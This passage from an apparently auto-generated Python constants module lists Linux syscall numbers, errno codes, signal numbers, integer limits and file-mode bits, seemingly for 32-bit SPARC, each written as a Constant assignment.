= Constant('__NR_sgetmask',199)\n__NR_ssetmask = Constant('__NR_ssetmask',200)\n__NR_sigsuspend = Constant('__NR_sigsuspend',201)\n__NR_oldlstat = Constant('__NR_oldlstat',202)\n__NR_uselib = Constant('__NR_uselib',203)\n__NR_readdir = Constant('__NR_readdir',204)\n__NR_readahead = Constant('__NR_readahead',205)\n__NR_socketcall = Constant('__NR_socketcall',206)\n__NR_syslog = Constant('__NR_syslog',207)\n__NR_lookup_dcookie = Constant('__NR_lookup_dcookie',208)\n__NR_fadvise64 = Constant('__NR_fadvise64',209)\n__NR_fadvise64_64 = Constant('__NR_fadvise64_64',210)\n__NR_tgkill = Constant('__NR_tgkill',211)\n__NR_waitpid = Constant('__NR_waitpid',212)\n__NR_swapoff = Constant('__NR_swapoff',213)\n__NR_sysinfo = Constant('__NR_sysinfo',214)\n__NR_ipc = Constant('__NR_ipc',215)\n__NR_sigreturn = Constant('__NR_sigreturn',216)\n__NR_clone = Constant('__NR_clone',217)\n__NR_adjtimex = Constant('__NR_adjtimex',219)\n__NR_sigprocmask = Constant('__NR_sigprocmask',220)\n__NR_create_module = Constant('__NR_create_module',221)\n__NR_delete_module = Constant('__NR_delete_module',222)\n__NR_get_kernel_syms = Constant('__NR_get_kernel_syms',223)\n__NR_getpgid = Constant('__NR_getpgid',224)\n__NR_bdflush = Constant('__NR_bdflush',225)\n__NR_sysfs = Constant('__NR_sysfs',226)\n__NR_afs_syscall = Constant('__NR_afs_syscall',227)\n__NR_setfsuid = Constant('__NR_setfsuid',228)\n__NR_setfsgid = Constant('__NR_setfsgid',229)\n__NR__newselect = Constant('__NR__newselect',230)\n__NR_time = Constant('__NR_time',231)\n__NR_stime = Constant('__NR_stime',233)\n__NR_statfs64 = Constant('__NR_statfs64',234)\n__NR_fstatfs64 = Constant('__NR_fstatfs64',235)\n__NR__llseek = Constant('__NR__llseek',236)\n__NR_mlock = Constant('__NR_mlock',237)\n__NR_munlock = Constant('__NR_munlock',238)\n__NR_mlockall = Constant('__NR_mlockall',239)\n__NR_munlockall = Constant('__NR_munlockall',240)\n__NR_sched_setparam = Constant('__NR_sched_setparam',241)\n__NR_sched_getparam = Constant('__NR_sched_getparam',242)\n__NR_sched_setscheduler = Constant('__NR_sched_setscheduler',243)\n__NR_sched_getscheduler = Constant('__NR_sched_getscheduler',244)\n__NR_sched_yield = Constant('__NR_sched_yield',245)\n__NR_sched_get_priority_max = Constant('__NR_sched_get_priority_max',246)\n__NR_sched_get_priority_min = Constant('__NR_sched_get_priority_min',247)\n__NR_sched_rr_get_interval = Constant('__NR_sched_rr_get_interval',248)\n__NR_nanosleep = Constant('__NR_nanosleep',249)\n__NR_mremap = Constant('__NR_mremap',250)\n__NR__sysctl = Constant('__NR__sysctl',251)\n__NR_getsid = Constant('__NR_getsid',252)\n__NR_fdatasync = Constant('__NR_fdatasync',253)\n__NR_nfsservctl = Constant('__NR_nfsservctl',254)\n__NR_aplib = Constant('__NR_aplib',255)\n__NR_clock_settime = Constant('__NR_clock_settime',256)\n__NR_clock_gettime = Constant('__NR_clock_gettime',257)\n__NR_clock_getres = Constant('__NR_clock_getres',258)\n__NR_clock_nanosleep = Constant('__NR_clock_nanosleep',259)\n__NR_sched_getaffinity = Constant('__NR_sched_getaffinity',260)\n__NR_sched_setaffinity = Constant('__NR_sched_setaffinity',261)\n__NR_timer_settime = Constant('__NR_timer_settime',262)\n__NR_timer_gettime = Constant('__NR_timer_gettime',263)\n__NR_timer_getoverrun = Constant('__NR_timer_getoverrun',264)\n__NR_timer_delete = Constant('__NR_timer_delete',265)\n__NR_timer_create = Constant('__NR_timer_create',266)\n__NR_io_setup = Constant('__NR_io_setup',268)\n__NR_io_destroy = Constant('__NR_io_destroy',269)\n__NR_io_submit = Constant('__NR_io_submit',270)\n__NR_io_cancel = Constant('__NR_io_cancel',271)\n__NR_io_getevents = Constant('__NR_io_getevents',272)\n__NR_mq_open = Constant('__NR_mq_open',273)\n__NR_mq_unlink = Constant('__NR_mq_unlink',274)\n__NR_mq_timedsend = Constant('__NR_mq_timedsend',275)\n__NR_mq_timedreceive = Constant('__NR_mq_timedreceive',276)\n__NR_mq_notify = Constant('__NR_mq_notify',277)\n__NR_mq_getsetattr = Constant('__NR_mq_getsetattr',278)\n__NR_waitid = Constant('__NR_waitid',279)\n__NR_sys_setaltroot = Constant('__NR_sys_setaltroot',280)\n__NR_add_key = Constant('__NR_add_key',281)\n__NR_request_key = Constant('__NR_request_key',282)\n__NR_keyctl = Constant('__NR_keyctl',283)\n__NR_openat = Constant('__NR_openat',284)\n__NR_mkdirat = Constant('__NR_mkdirat',285)\n__NR_mknodat = Constant('__NR_mknodat',286)\n__NR_fchownat = Constant('__NR_fchownat',287)\n__NR_futimesat = Constant('__NR_futimesat',288)\n__NR_fstatat64 = Constant('__NR_fstatat64',289)\n__NR_unlinkat = Constant('__NR_unlinkat',290)\n__NR_renameat = Constant('__NR_renameat',291)\n__NR_linkat = Constant('__NR_linkat',292)\n__NR_symlinkat = Constant('__NR_symlinkat',293)\n__NR_readlinkat = Constant('__NR_readlinkat',294)\n__NR_fchmodat = Constant('__NR_fchmodat',295)\n__NR_faccessat = Constant('__NR_faccessat',296)\n__NR_pselect6 = Constant('__NR_pselect6',297)\n__NR_ppoll = Constant('__NR_ppoll',298)\n__NR_unshare = Constant('__NR_unshare',299)\n__NR_set_robust_list = Constant('__NR_set_robust_list',300)\n__NR_get_robust_list = Constant('__NR_get_robust_list',301)\n__NR_migrate_pages = Constant('__NR_migrate_pages',302)\n__NR_mbind = Constant('__NR_mbind',303)\n__NR_get_mempolicy = Constant('__NR_get_mempolicy',304)\n__NR_set_mempolicy = Constant('__NR_set_mempolicy',305)\n__NR_kexec_load = Constant('__NR_kexec_load',306)\n__NR_move_pages = Constant('__NR_move_pages',307)\n__NR_getcpu = Constant('__NR_getcpu',308)\n__NR_epoll_pwait = Constant('__NR_epoll_pwait',309)\n__NR_utimensat = Constant('__NR_utimensat',310)\n__NR_signalfd = Constant('__NR_signalfd',311)\n__NR_timerfd = Constant('__NR_timerfd',312)\n__NR_eventfd = Constant('__NR_eventfd',313)\n__NR_fallocate = Constant('__NR_fallocate',314)\n__NR_timerfd_settime = Constant('__NR_timerfd_settime',315)\n__NR_timerfd_gettime = Constant('__NR_timerfd_gettime',316)\n__NR_signalfd4 = Constant('__NR_signalfd4',317)\n__NR_eventfd2 = Constant('__NR_eventfd2',318)\n__NR_epoll_create1 = Constant('__NR_epoll_create1',319)\n__NR_dup3 = Constant('__NR_dup3',320)\n__NR_pipe2 = Constant('__NR_pipe2',321)\n__NR_inotify_init1 = Constant('__NR_inotify_init1',322)\n__NR_accept4 = Constant('__NR_accept4',323)\n__NR_preadv = Constant('__NR_preadv',324)\n__NR_pwritev = Constant('__NR_pwritev',325)\n__NR_rt_tgsigqueueinfo = Constant('__NR_rt_tgsigqueueinfo',326)\n__NR_perf_event_open = Constant('__NR_perf_event_open',327)\n__NR_recvmmsg = Constant('__NR_recvmmsg',328)\n__NR_fanotify_init = Constant('__NR_fanotify_init',329)\n__NR_fanotify_mark = Constant('__NR_fanotify_mark',330)\n__NR_prlimit64 = Constant('__NR_prlimit64',331)\n__NR_name_to_handle_at = Constant('__NR_name_to_handle_at',332)\n__NR_open_by_handle_at = Constant('__NR_open_by_handle_at',333)\n__NR_clock_adjtime = Constant('__NR_clock_adjtime',334)\n__NR_syncfs = Constant('__NR_syncfs',335)\n__NR_sendmmsg = Constant('__NR_sendmmsg',336)\n__NR_setns = Constant('__NR_setns',337)\n__NR_process_vm_readv = Constant('__NR_process_vm_readv',338)\n__NR_process_vm_writev = Constant('__NR_process_vm_writev',339)\n__NR_kern_features = Constant('__NR_kern_features',340)\n__NR_kcmp = Constant('__NR_kcmp',341)\n__NR_finit_module = Constant('__NR_finit_module',342)\n__NR_sched_setattr = Constant('__NR_sched_setattr',343)\n__NR_sched_getattr = Constant('__NR_sched_getattr',344)\n__NR_renameat2 = Constant('__NR_renameat2',345)\n__NR_seccomp = Constant('__NR_seccomp',346)\n__NR_getrandom = Constant('__NR_getrandom',347)\n__NR_memfd_create = Constant('__NR_memfd_create',348)\n__NR_bpf = Constant('__NR_bpf',349)\n__NR_execveat = Constant('__NR_execveat',350)\n__NR_membarrier = Constant('__NR_membarrier',351)\n__NR_userfaultfd = Constant('__NR_userfaultfd',352)\n__NR_bind = Constant('__NR_bind',353)\n__NR_listen = Constant('__NR_listen',354)\n__NR_setsockopt = Constant('__NR_setsockopt',355)\n__NR_mlock2 = Constant('__NR_mlock2',356)\n__NR_copy_file_range = Constant('__NR_copy_file_range',357)\n__NR_preadv2 = Constant('__NR_preadv2',358)\n__NR_pwritev2 = Constant('__NR_pwritev2',359)\n__NR_statx = Constant('__NR_statx',360)\n__NR_io_pgetevents = Constant('__NR_io_pgetevents',361)\n__NR_pkey_mprotect = Constant('__NR_pkey_mprotect',362)\n__NR_pkey_alloc = Constant('__NR_pkey_alloc',363)\n__NR_pkey_free = Constant('__NR_pkey_free',364)\n__NR_rseq = Constant('__NR_rseq',365)\n__NR_semget = Constant('__NR_semget',393)\n__NR_semctl = Constant('__NR_semctl',394)\n__NR_shmget = Constant('__NR_shmget',395)\n__NR_shmctl = Constant('__NR_shmctl',396)\n__NR_shmat = Constant('__NR_shmat',397)\n__NR_shmdt = Constant('__NR_shmdt',398)\n__NR_msgget = Constant('__NR_msgget',399)\n__NR_msgsnd = Constant('__NR_msgsnd',400)\n__NR_msgrcv = Constant('__NR_msgrcv',401)\n__NR_msgctl = Constant('__NR_msgctl',402)\n__NR_clock_gettime64 = Constant('__NR_clock_gettime64',403)\n__NR_clock_settime64 = Constant('__NR_clock_settime64',404)\n__NR_clock_adjtime64 = Constant('__NR_clock_adjtime64',405)\n__NR_clock_getres_time64 = Constant('__NR_clock_getres_time64',406)\n__NR_clock_nanosleep_time64 = Constant('__NR_clock_nanosleep_time64',407)\n__NR_timer_gettime64 = Constant('__NR_timer_gettime64',408)\n__NR_timer_settime64 = Constant('__NR_timer_settime64',409)\n__NR_timerfd_gettime64 = Constant('__NR_timerfd_gettime64',410)\n__NR_timerfd_settime64 = Constant('__NR_timerfd_settime64',411)\n__NR_utimensat_time64 = Constant('__NR_utimensat_time64',412)\n__NR_pselect6_time64 = Constant('__NR_pselect6_time64',413)\n__NR_ppoll_time64 = Constant('__NR_ppoll_time64',414)\n__NR_io_pgetevents_time64 = Constant('__NR_io_pgetevents_time64',416)\n__NR_recvmmsg_time64 = Constant('__NR_recvmmsg_time64',417)\n__NR_mq_timedsend_time64 = Constant('__NR_mq_timedsend_time64',418)\n__NR_mq_timedreceive_time64 = Constant('__NR_mq_timedreceive_time64',419)\n__NR_semtimedop_time64 = Constant('__NR_semtimedop_time64',420)\n__NR_rt_sigtimedwait_time64 = Constant('__NR_rt_sigtimedwait_time64',421)\n__NR_futex_time64 = Constant('__NR_futex_time64',422)\n__NR_sched_rr_get_interval_time64 = Constant('__NR_sched_rr_get_interval_time64',423)\n__NR_pidfd_send_signal = Constant('__NR_pidfd_send_signal',424)\n__NR_io_uring_setup = Constant('__NR_io_uring_setup',425)\n__NR_io_uring_enter = Constant('__NR_io_uring_enter',426)\n__NR_io_uring_register = Constant('__NR_io_uring_register',427)\n__NR_open_tree = Constant('__NR_open_tree',428)\n__NR_move_mount = Constant('__NR_move_mount',429)\n__NR_fsopen = Constant('__NR_fsopen',430)\n__NR_fsconfig = Constant('__NR_fsconfig',431)\n__NR_fsmount = Constant('__NR_fsmount',432)\n__NR_fspick = Constant('__NR_fspick',433)\n__NR_pidfd_open = Constant('__NR_pidfd_open',434)\n__NR_openat2 = Constant('__NR_openat2',437)\n__NR_pidfd_getfd = Constant('__NR_pidfd_getfd',438)\nMAP_32BIT = Constant('MAP_32BIT',0x40)\nINADDR_ANY = Constant('INADDR_ANY',0)\nINADDR_BROADCAST = Constant('INADDR_BROADCAST',0xffffffff)\nINADDR_NONE = Constant('INADDR_NONE',0xffffffff)\nINADDR_LOOPBACK = Constant('INADDR_LOOPBACK',0x7f000001)\nEPERM = Constant('EPERM',1)\nENOENT = Constant('ENOENT',2)\nESRCH = Constant('ESRCH',3)\nEINTR = Constant('EINTR',4)\nEIO = Constant('EIO',5)\nENXIO = Constant('ENXIO',6)\nE2BIG = Constant('E2BIG',7)\nENOEXEC = Constant('ENOEXEC',8)\nEBADF = Constant('EBADF',9)\nECHILD = Constant('ECHILD',10)\nEAGAIN = Constant('EAGAIN',11)\nENOMEM = Constant('ENOMEM',12)\nEACCES = Constant('EACCES',13)\nEFAULT = Constant('EFAULT',14)\nENOTBLK = Constant('ENOTBLK',15)\nEBUSY = Constant('EBUSY',16)\nEEXIST = Constant('EEXIST',17)\nEXDEV = Constant('EXDEV',18)\nENODEV = Constant('ENODEV',19)\nENOTDIR = Constant('ENOTDIR',20)\nEISDIR = Constant('EISDIR',21)\nEINVAL = Constant('EINVAL',22)\nENFILE = Constant('ENFILE',23)\nEMFILE = Constant('EMFILE',24)\nENOTTY = Constant('ENOTTY',25)\nETXTBSY = Constant('ETXTBSY',26)\nEFBIG = Constant('EFBIG',27)\nENOSPC = Constant('ENOSPC',28)\nESPIPE = Constant('ESPIPE',29)\nEROFS = Constant('EROFS',30)\nEMLINK = Constant('EMLINK',31)\nEPIPE = Constant('EPIPE',32)\nEDOM = Constant('EDOM',33)\nERANGE = Constant('ERANGE',34)\nEWOULDBLOCK = Constant('EWOULDBLOCK',11)\nEINPROGRESS = Constant('EINPROGRESS',36)\nEALREADY = Constant('EALREADY',37)\nENOTSOCK = Constant('ENOTSOCK',38)\nEDESTADDRREQ = Constant('EDESTADDRREQ',39)\nEMSGSIZE = Constant('EMSGSIZE',40)\nEPROTOTYPE = Constant('EPROTOTYPE',41)\nENOPROTOOPT = Constant('ENOPROTOOPT',42)\nEPROTONOSUPPORT = Constant('EPROTONOSUPPORT',43)\nESOCKTNOSUPPORT = Constant('ESOCKTNOSUPPORT',44)\nEOPNOTSUPP = Constant('EOPNOTSUPP',45)\nENOTSUP = Constant('ENOTSUP',45)\nEPFNOSUPPORT = Constant('EPFNOSUPPORT',46)\nEAFNOSUPPORT = Constant('EAFNOSUPPORT',47)\nEADDRINUSE = Constant('EADDRINUSE',48)\nEADDRNOTAVAIL = Constant('EADDRNOTAVAIL',49)\nENETDOWN = Constant('ENETDOWN',50)\nENETUNREACH = Constant('ENETUNREACH',51)\nENETRESET = Constant('ENETRESET',52)\nECONNABORTED = Constant('ECONNABORTED',53)\nECONNRESET = Constant('ECONNRESET',54)\nENOBUFS = Constant('ENOBUFS',55)\nEISCONN = Constant('EISCONN',56)\nENOTCONN = Constant('ENOTCONN',57)\nESHUTDOWN = Constant('ESHUTDOWN',58)\nETOOMANYREFS = Constant('ETOOMANYREFS',59)\nETIMEDOUT = Constant('ETIMEDOUT',60)\nECONNREFUSED = Constant('ECONNREFUSED',61)\nELOOP = Constant('ELOOP',62)\nENAMETOOLONG = Constant('ENAMETOOLONG',63)\nEHOSTDOWN = Constant('EHOSTDOWN',64)\nEHOSTUNREACH = Constant('EHOSTUNREACH',65)\nENOTEMPTY = Constant('ENOTEMPTY',66)\nEPROCLIM = Constant('EPROCLIM',67)\nEUSERS = Constant('EUSERS',68)\nEDQUOT = Constant('EDQUOT',69)\nESTALE = Constant('ESTALE',70)\nEREMOTE = Constant('EREMOTE',71)\nENOSTR = Constant('ENOSTR',72)\nETIME = Constant('ETIME',73)\nENOSR = Constant('ENOSR',74)\nENOMSG = Constant('ENOMSG',75)\nEBADMSG = Constant('EBADMSG',76)\nEIDRM = Constant('EIDRM',77)\nEDEADLK = Constant('EDEADLK',78)\nENOLCK = Constant('ENOLCK',79)\nENONET = Constant('ENONET',80)\nERREMOTE = Constant('ERREMOTE',81)\nENOLINK = Constant('ENOLINK',82)\nEADV = Constant('EADV',83)\nESRMNT = Constant('ESRMNT',84)\nECOMM = Constant('ECOMM',85)\nEPROTO = Constant('EPROTO',86)\nEMULTIHOP = Constant('EMULTIHOP',87)\nEDOTDOT = Constant('EDOTDOT',88)\nEREMCHG = Constant('EREMCHG',89)\nENOSYS = Constant('ENOSYS',90)\nESTRPIPE = Constant('ESTRPIPE',91)\nEOVERFLOW = Constant('EOVERFLOW',92)\nEBADFD = Constant('EBADFD',93)\nECHRNG = Constant('ECHRNG',94)\nEL2NSYNC = Constant('EL2NSYNC',95)\nEL3HLT = Constant('EL3HLT',96)\nEL3RST = Constant('EL3RST',97)\nELNRNG = Constant('ELNRNG',98)\nEUNATCH = Constant('EUNATCH',99)\nENOCSI = Constant('ENOCSI',100)\nEL2HLT = Constant('EL2HLT',101)\nEBADE = Constant('EBADE',102)\nEBADR = Constant('EBADR',103)\nEXFULL = Constant('EXFULL',104)\nENOANO = Constant('ENOANO',105)\nEBADRQC = Constant('EBADRQC',106)\nEBADSLT = Constant('EBADSLT',107)\nEDEADLOCK = Constant('EDEADLOCK',108)\nEBFONT = Constant('EBFONT',109)\nELIBEXEC = Constant('ELIBEXEC',110)\nENODATA = Constant('ENODATA',111)\nELIBBAD = Constant('ELIBBAD',112)\nENOPKG = Constant('ENOPKG',113)\nELIBACC = Constant('ELIBACC',114)\nENOTUNIQ = Constant('ENOTUNIQ',115)\nERESTART = Constant('ERESTART',116)\nEUCLEAN = Constant('EUCLEAN',117)\nENOTNAM = Constant('ENOTNAM',118)\nENAVAIL = Constant('ENAVAIL',119)\nEISNAM = Constant('EISNAM',120)\nEREMOTEIO = Constant('EREMOTEIO',121)\nEILSEQ = Constant('EILSEQ',122)\nELIBMAX = Constant('ELIBMAX',123)\nELIBSCN = Constant('ELIBSCN',124)\nENOMEDIUM = Constant('ENOMEDIUM',125)\nEMEDIUMTYPE = Constant('EMEDIUMTYPE',126)\nECANCELED = Constant('ECANCELED',127)\nENOKEY = Constant('ENOKEY',128)\nEKEYEXPIRED = Constant('EKEYEXPIRED',129)\nEKEYREVOKED = Constant('EKEYREVOKED',130)\nEKEYREJECTED = Constant('EKEYREJECTED',131)\nEOWNERDEAD = Constant('EOWNERDEAD',132)\nENOTRECOVERABLE = Constant('ENOTRECOVERABLE',133)\nERFKILL = Constant('ERFKILL',134)\nEHWPOISON = Constant('EHWPOISON',135)\n__SYS_NERR = Constant('__SYS_NERR',((135) + 1))\n__LITTLE_ENDIAN = Constant('__LITTLE_ENDIAN',1234)\n__BIG_ENDIAN = Constant('__BIG_ENDIAN',4321)\n__BYTE_ORDER = Constant('__BYTE_ORDER',4321)\n__FLOAT_WORD_ORDER = Constant('__FLOAT_WORD_ORDER',4321)\nLITTLE_ENDIAN = Constant('LITTLE_ENDIAN',1234)\nBIG_ENDIAN = Constant('BIG_ENDIAN',4321)\nBYTE_ORDER = Constant('BYTE_ORDER',4321)\n__WORDSIZE = Constant('__WORDSIZE',32)\nINT8_MAX = Constant('INT8_MAX',(127))\nINT16_MAX = Constant('INT16_MAX',(32767))\nINT32_MAX = Constant('INT32_MAX',(2147483647))\nINT64_MAX = Constant('INT64_MAX',(9223372036854775807))\nINT8_MIN = Constant('INT8_MIN',(-1 - (127)))\nINT16_MIN = Constant('INT16_MIN',(-1 - (32767)))\nINT32_MIN = Constant('INT32_MIN',(-1 - (2147483647)))\nINT64_MIN = Constant('INT64_MIN',(-1 - (9223372036854775807)))\nINT_LEAST8_MAX = Constant('INT_LEAST8_MAX',(127))\nINT_LEAST8_MIN = Constant('INT_LEAST8_MIN',(-1 - (127)))\nINT_LEAST16_MAX = Constant('INT_LEAST16_MAX',(32767))\nINT_LEAST16_MIN = Constant('INT_LEAST16_MIN',(-1 - (32767)))\nINT_LEAST32_MAX = Constant('INT_LEAST32_MAX',(2147483647))\nINT_LEAST32_MIN = Constant('INT_LEAST32_MIN',(-1 - (2147483647)))\nINT_LEAST64_MAX = Constant('INT_LEAST64_MAX',(9223372036854775807))\nINT_LEAST64_MIN = Constant('INT_LEAST64_MIN',(-1 - (9223372036854775807)))\nUINT8_MAX = Constant('UINT8_MAX',0xff)\nUINT16_MAX = Constant('UINT16_MAX',0xffff)\nUINT32_MAX = Constant('UINT32_MAX',0xffffffff)\nUINT64_MAX = Constant('UINT64_MAX',0xffffffffffffffff)\nUINT_LEAST8_MAX = Constant('UINT_LEAST8_MAX',0xff)\nUINT_LEAST16_MAX = Constant('UINT_LEAST16_MAX',0xffff)\nUINT_LEAST32_MAX = Constant('UINT_LEAST32_MAX',0xffffffff)\nUINT_LEAST64_MAX = Constant('UINT_LEAST64_MAX',0xffffffffffffffff)\nINTPTR_MIN = Constant('INTPTR_MIN',(-1 - (2147483647)))\nINTPTR_MAX = Constant('INTPTR_MAX',(2147483647))\nUINTPTR_MAX = Constant('UINTPTR_MAX',0xffffffff)\nSIZE_MAX = Constant('SIZE_MAX',0xffffffff)\nPTRDIFF_MIN = Constant('PTRDIFF_MIN',(-1 - (2147483647)))\nPTRDIFF_MAX = Constant('PTRDIFF_MAX',(2147483647))\nINTMAX_MIN = Constant('INTMAX_MIN',(-1 - (9223372036854775807)))\nINTMAX_MAX = Constant('INTMAX_MAX',(9223372036854775807))\nUINTMAX_MAX = Constant('UINTMAX_MAX',0xffffffffffffffff)\nINT_FAST8_MIN = Constant('INT_FAST8_MIN',(-1 - (127)))\nINT_FAST8_MAX = Constant('INT_FAST8_MAX',(127))\nINT_FAST64_MIN = Constant('INT_FAST64_MIN',(-1 - (9223372036854775807)))\nINT_FAST64_MAX = Constant('INT_FAST64_MAX',(9223372036854775807))\nUINT_FAST8_MAX = Constant('UINT_FAST8_MAX',0xff)\nUINT_FAST64_MAX = Constant('UINT_FAST64_MAX',0xffffffffffffffff)\nINT_FAST16_MIN = Constant('INT_FAST16_MIN',(-1 - (2147483647)))\nINT_FAST16_MAX = Constant('INT_FAST16_MAX',(2147483647))\nUINT_FAST16_MAX = Constant('UINT_FAST16_MAX',0xffffffff)\nINT_FAST32_MIN = Constant('INT_FAST32_MIN',(-1 - (2147483647)))\nINT_FAST32_MAX = Constant('INT_FAST32_MAX',(2147483647))\nUINT_FAST32_MAX = Constant('UINT_FAST32_MAX',0xffffffff)\nWINT_MIN = Constant('WINT_MIN',0)\n__FSUID_H = Constant('__FSUID_H',1)\nNSIG = Constant('NSIG',32)\n_NSIG = Constant('_NSIG',65)\nSIGHUP = Constant('SIGHUP',1)\nSIGINT = Constant('SIGINT',2)\nSIGQUIT = Constant('SIGQUIT',3)\nSIGILL = Constant('SIGILL',4)\nSIGTRAP = Constant('SIGTRAP',5)\nSIGABRT = Constant('SIGABRT',6)\nSIGIOT = Constant('SIGIOT',6)\nSIGFPE = Constant('SIGFPE',8)\nSIGKILL = Constant('SIGKILL',9)\nSIGSEGV = Constant('SIGSEGV',11)\nSIGPIPE = Constant('SIGPIPE',13)\nSIGALRM = Constant('SIGALRM',14)\nSIGTERM = Constant('SIGTERM',15)\nSIGUNUSED = Constant('SIGUNUSED',31)\nSIGEMT = Constant('SIGEMT',7)\nSIGBUS = Constant('SIGBUS',10)\nSIGSYS = Constant('SIGSYS',12)\nSIGURG = Constant('SIGURG',16)\nSIGSTOP = Constant('SIGSTOP',17)\nSIGTSTP = Constant('SIGTSTP',18)\nSIGCONT = Constant('SIGCONT',19)\nSIGCHLD = Constant('SIGCHLD',20)\nSIGTTIN = Constant('SIGTTIN',21)\nSIGTTOU = Constant('SIGTTOU',22)\nSIGIO = Constant('SIGIO',23)\nSIGXCPU = Constant('SIGXCPU',24)\nSIGXFSZ = Constant('SIGXFSZ',25)\nSIGVTALRM = Constant('SIGVTALRM',26)\nSIGPROF = Constant('SIGPROF',27)\nSIGWINCH = Constant('SIGWINCH',28)\nSIGPWR = Constant('SIGPWR',29)\nSIGUSR1 = Constant('SIGUSR1',30)\nSIGUSR2 = Constant('SIGUSR2',31)\nSIGCLD = Constant('SIGCLD',20)\nSIGPOLL = Constant('SIGPOLL',23)\nSIGLOST = Constant('SIGLOST',29)\nSIGRTMIN = Constant('SIGRTMIN',32)\nSIGRTMAX = Constant('SIGRTMAX',(65-1))\nSV_SSTACK = Constant('SV_SSTACK',1)\nSV_INTR = Constant('SV_INTR',2)\nSV_RESET = Constant('SV_RESET',4)\nSV_IGNCHILD = Constant('SV_IGNCHILD',8)\nSA_NOCLDSTOP = Constant('SA_NOCLDSTOP',8)\nSA_STACK = Constant('SA_STACK',1)\nSA_ONSTACK = Constant('SA_ONSTACK',1)\nSA_RESTART = Constant('SA_RESTART',2)\nSA_RESETHAND = Constant('SA_RESETHAND',4)\nSA_INTERRUPT = Constant('SA_INTERRUPT',0x10)\nSA_NODEFER = Constant('SA_NODEFER',0x20)\nSA_SHIRQ = Constant('SA_SHIRQ',0x40)\nSA_NOCLDWAIT = Constant('SA_NOCLDWAIT',0x100)\nSA_SIGINFO = Constant('SA_SIGINFO',0x200)\nSA_NOMASK = Constant('SA_NOMASK',0x20)\nSA_ONESHOT = Constant('SA_ONESHOT',4)\nSS_ONSTACK = Constant('SS_ONSTACK',1)\nSS_DISABLE = Constant('SS_DISABLE',2)\nMINSIGSTKSZ = Constant('MINSIGSTKSZ',2048)\nSIGSTKSZ = Constant('SIGSTKSZ',8192)\nSIG_BLOCK = Constant('SIG_BLOCK',1)\nSIG_UNBLOCK = Constant('SIG_UNBLOCK',2)\nSIG_SETMASK = Constant('SIG_SETMASK',4)\nSI_MAX_SIZE = Constant('SI_MAX_SIZE',128)\nSIGEV_SIGNAL = Constant('SIGEV_SIGNAL',0)\nSIGEV_NONE = Constant('SIGEV_NONE',1)\nSIGEV_THREAD = Constant('SIGEV_THREAD',2)\nSIGEV_THREAD_ID = Constant('SIGEV_THREAD_ID',4)\nSIGEV_MAX_SIZE = Constant('SIGEV_MAX_SIZE',64)\n_SYS_TIME_H = Constant('_SYS_TIME_H',1)\nITIMER_REAL = Constant('ITIMER_REAL',0)\nITIMER_VIRTUAL = Constant('ITIMER_VIRTUAL',1)\nITIMER_PROF = Constant('ITIMER_PROF',2)\n__SUNOS_MAXWIN = Constant('__SUNOS_MAXWIN',31)\nMC_TSTATE = Constant('MC_TSTATE',0)\nMC_PC = Constant('MC_PC',1)\nMC_NPC = Constant('MC_NPC',2)\nMC_Y = Constant('MC_Y',3)\nMC_G1 = Constant('MC_G1',4)\nMC_G2 = Constant('MC_G2',5)\nMC_G3 = Constant('MC_G3',6)\nMC_G4 = Constant('MC_G4',7)\nMC_G5 = Constant('MC_G5',8)\nMC_G6 = Constant('MC_G6',9)\nMC_G7 = Constant('MC_G7',10)\nMC_O0 = Constant('MC_O0',11)\nMC_O1 = Constant('MC_O1',12)\nMC_O2 = Constant('MC_O2',13)\nMC_O3 = Constant('MC_O3',14)\nMC_O4 = Constant('MC_O4',15)\nMC_O5 = Constant('MC_O5',16)\nMC_O6 = Constant('MC_O6',17)\nMC_O7 = Constant('MC_O7',18)\nMC_NGREG = Constant('MC_NGREG',19)\nMC_MAXFPQ = Constant('MC_MAXFPQ',16)\nFD_SETSIZE = Constant('FD_SETSIZE',1024)\nR_OK = Constant('R_OK',4)\nW_OK = Constant('W_OK',2)\nX_OK = Constant('X_OK',1)\nF_OK = Constant('F_OK',0)\nSEEK_SET = Constant('SEEK_SET',0)\nSEEK_CUR = Constant('SEEK_CUR',1)\nSEEK_END = Constant('SEEK_END',2)\nSTDIN_FILENO = Constant('STDIN_FILENO',0)\nSTDOUT_FILENO = Constant('STDOUT_FILENO',1)\nSTDERR_FILENO = Constant('STDERR_FILENO',2)\n_CS_PATH = Constant('_CS_PATH',1)\n_SC_CLK_TCK = Constant('_SC_CLK_TCK',1)\n_SC_ARG_MAX = Constant('_SC_ARG_MAX',2)\n_SC_NGROUPS_MAX = Constant('_SC_NGROUPS_MAX',3)\n_SC_OPEN_MAX = Constant('_SC_OPEN_MAX',4)\n_SC_PAGESIZE = Constant('_SC_PAGESIZE',5)\n_SC_NPROCESSORS_ONLN = Constant('_SC_NPROCESSORS_ONLN',6)\n_SC_NPROCESSORS_CONF = Constant('_SC_NPROCESSORS_CONF',6)\n_SC_PHYS_PAGES = Constant('_SC_PHYS_PAGES',7)\n_SC_GETPW_R_SIZE_MAX = Constant('_SC_GETPW_R_SIZE_MAX',8)\n_SC_GETGR_R_SIZE_MAX = Constant('_SC_GETGR_R_SIZE_MAX',9)\n_PC_PATH_MAX = Constant('_PC_PATH_MAX',1)\n_PC_VDISABLE = Constant('_PC_VDISABLE',2)\nL_cuserid = Constant('L_cuserid',17)\n_POSIX_VERSION = Constant('_POSIX_VERSION',199506)\nF_ULOCK = Constant('F_ULOCK',0)\nF_LOCK = Constant('F_LOCK',1)\nF_TLOCK = Constant('F_TLOCK',2)\nF_TEST = Constant('F_TEST',3)\n_POSIX_MAPPED_FILES = Constant('_POSIX_MAPPED_FILES',200809)\nS_IFMT = Constant('S_IFMT',0o0170000)\nS_IFSOCK = Constant('S_IFSOCK',0o140000)\nS_IFLNK = Constant('S_IFLNK',0o120000)\nS_IFREG = Constant('S_IFREG',0o100000)\nS_IFBLK = Constant('S_IFBLK',0o060000)\nS_IFDIR = Constant('S_IFDIR',0o040000)\nS_IFCHR = Constant('S_IFCHR',0o020000)\nS_IFIFO = Constant('S_IFIFO',0o010000)\nS_ISUID = Constant('S_ISUID',0o004000)\nS_ISGID = Constant('S_ISGID',0o002000)\nS_ISVTX = Constant('S_ISVTX',0o001000)\nS_IRWXU = Constant('S_IRWXU',0o0700)\nS_IRUSR = Constant('S_IRUSR',0o0400)\nS_IWUSR = Constant('S_IWUSR',0o0200)\nS_IXUSR = Constant('S_IXUSR',0o0100)\nS_IRWXG = Constant('S_IRWXG',0o0070)\nS_IRGRP = Constant('S_IRGRP',0o0040)\nS_IWGRP = Constant('S_IWGRP',0o0020)\nS_IXGRP = 